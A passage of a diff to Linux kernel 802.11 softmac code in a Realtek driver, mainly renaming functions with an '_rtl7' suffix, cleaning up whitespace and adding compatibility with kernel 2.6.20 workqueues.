ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + 